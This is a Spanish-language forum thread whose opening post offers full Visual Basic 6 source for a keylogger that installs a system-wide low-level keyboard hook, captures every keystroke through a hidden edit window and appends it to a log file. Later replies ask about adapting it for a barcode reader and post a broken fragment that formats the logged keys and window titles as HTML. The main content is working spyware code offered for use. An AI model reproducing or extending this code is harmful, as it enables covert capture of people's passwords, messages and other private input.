Hola ya que viene la racha con los Keylogger, pongo otro método, ayer mirando el tuto de Karcrack supuse que tendría que haber otra forma de transladar las teclas, así que se me dió por pasarles los msg del hook a una ventana de tipo EDIT (WM_IME_KEYDOWN), y el resultado fue bastante bueno, inclusive toma las @ y símbolos especiales, excepto los acentos porque si se los dejaba no los agrega a la ventana donde escribía.

Seria bueno que si alguien tiene un teclado inglés lo pruebe a ver si funciona todo bien.

Option Explicit
'------------------------------------
'Autor:   Leandro Ascierto
'Web:     www.leandroascierto.com.ar
'Fecha:   18-08-09
'En base a tutorial de Karcrack
'------------------------------------
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
 
Private Const ES_MULTILINE              As Long = &H4&
Private Const ES_AUTOVSCROLL            As Long = &H40&
Private Const ES_AUTOHSCROLL            As Long = &H80&
 
Private Const WM_IME_KEYDOWN            As Long = &H290
Private Const WM_SYSKEYDOWN             As Long = &H104
Private Const WM_KEYDOWN                As Long = &H100
Private Const WM_KEYUP                  As Long = &H101
Private Const WH_KEYBOARD_LL            As Long = 13
 
Private Const BUFFER_TO_SAVE            As Long = 100
 
Private hEdit                           As Long
Private KBHook                          As Long
Private sTextData                       As String
Private TextLen                         As Long
 
 
Public Sub ManageKeylogger(ByVal Enable As Boolean)
    Select Case Enable
        Case True
            hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)
            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
            Debug.Print hEdit
        Case False
            Call UnhookWindowsHookEx(KBHook)
            TextLen = GetWindowTextLength(hEdit)
            If TextLen Then LogToFile App.Path & "\Log.txt"
            DestroyWindow hEdit
    End Select
End Sub
 
 
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
 
    Select Case wParam
 
        Case WM_KEYDOWN
            If lParam <> 222 And lParam <> 186 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If
 
        Case WM_KEYUP
            TextLen = GetWindowTextLength(hEdit)
            If TextLen > BUFFER_TO_SAVE Then
                LogToFile App.Path & "\Log.txt"
            End If
 
        Case WM_SYSKEYDOWN
            Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
 
    End Select
 
End Function
 
 
Private Sub LogToFile(ByVal sPath As String)
 
    sTextData = String(TextLen + 1, Chr$(0))
    GetWindowText hEdit, sTextData, TextLen + 1
    SetWindowText hEdit, vbNullString
 
    Open sPath For Append As #1
        Print #1, sTextData
    Close #1
 
End Sub
 
 

 Saludos.

Hola,

Soy nuevo en el foro tengo alguna duda...

Estoy intentando desarrollar una aplicación en access para que lea la entrada de teclado hasta que reciba unas teclas delimitadoras por ejemplo *111111*. La idea es usar un lector láser de códigos de barras para que cada vez que lea lo inserte en la base de datos. He probado el código que has colgado anteriormente y me funciona pero claro no es automático y lo mete en un fichero. Lo he he hecho mediante dos botones, uno que crea el buffer y otro que lo destruye.

Me gustaría adaptarlo o crear uno nuevo para que leyera hasta que encontrará un * y en caso contrario que no hiciera nada...

podriais darme una idea o algun ejemplo...ando un poco perdido..

espero haberme explicado bien...

un saludo y muchas gracias.

quiero agregarle formato a la salida , pero he intentado y no puedo hacerlo , tenes una idea de como seria , solo pude editar la parte de arriba y las teclas presionadas salen igual ...

If sRet <> "" Then
 
SaveLog  'chorraso de html y sus comillas
"<table borderColor=" & Chr(34) & "#000000" & Chr(34) & 
"cellSpacing=" & Chr(34) & "0" & Chr(34) & "width=" & Chr(34) & 
"550" & Chr(34) & " border=" & Chr(34) & "1" & Chr(34) & 
"><tr bgColor=" & Chr(34) & "#3399ff" & Chr(34) 
& "><td borderColor=" & Chr(34) & "#000000" & Chr(34) 
& " align=" & Chr(34) & "center" & Chr(34) & " colSpan=" & Chr(34) 
& "2" & Chr(34) & "><B>" & Now & 
"</B></td></tr><tr><td class=" & Chr(34) & "desc" & Chr(34) 
& " width=" & Chr(34) & "114" & Chr(34) & "> Ventana: </td>
<td class=" & Chr(34) & "Noticia" & Chr(34) & ">" & GetWindowText(lParam)
 & "</td>" & vbCrLf & sRet & vbCrLf & "</tr><tr><td class=" & Chr(34) & 
"desc" & Chr(34) & "></tr><tr>   <td class=" & Chr(34) & "desc" & Chr(34)
 & ">Descripción:</td>" & Chr(34) & String(100, "<br>") & vbCrLf

Interesante, gracias.